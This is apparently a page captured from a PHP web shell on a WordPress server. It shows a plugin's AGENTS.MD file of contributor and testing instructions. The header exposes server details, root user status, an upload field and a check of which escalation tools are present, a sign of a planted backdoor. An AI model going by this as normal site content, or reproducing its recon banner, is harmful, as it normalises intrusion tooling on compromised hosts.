| Server IP : 192.241.186.36 / Your IP : 216.73.216.164 Web Server : Apache/2.4.29 (Ubuntu) System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64 User : root ( 0) PHP Version : 7.4.32 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/europaads/wp-content/plugins/mailchimp-for-wp/ |
Upload File : |
# AGENTS.MD Be concise when opening a pull request. No need for unnecessarily verbose text or endless checklists. The maintainers are mostly interested in special points of consideration when reviewing the code and whether the change introduces any breaking changes. That your code adheres to our coding standards, does not break any tests, uses proper sanitization and escaping, etc. is implied. There is no need to repeat that in text as it makes it easier to miss the important points of your pull request. ## Testing instructions - Find the CI plan in the `.github/workflows` directory. Ensure that your code changes do not break any of the tests in the CI plan. - Run `composer run-script test` to run the PHP test suite. - Run `composer run-script check-syntax` to check for PHP syntax errors. - Run `composer run-script check-codestyle` to check the PHP code style. - Run `composer run-script static-analysis` to run static analysis on the PHP code. - Run `npm run lint` to check the JS code style.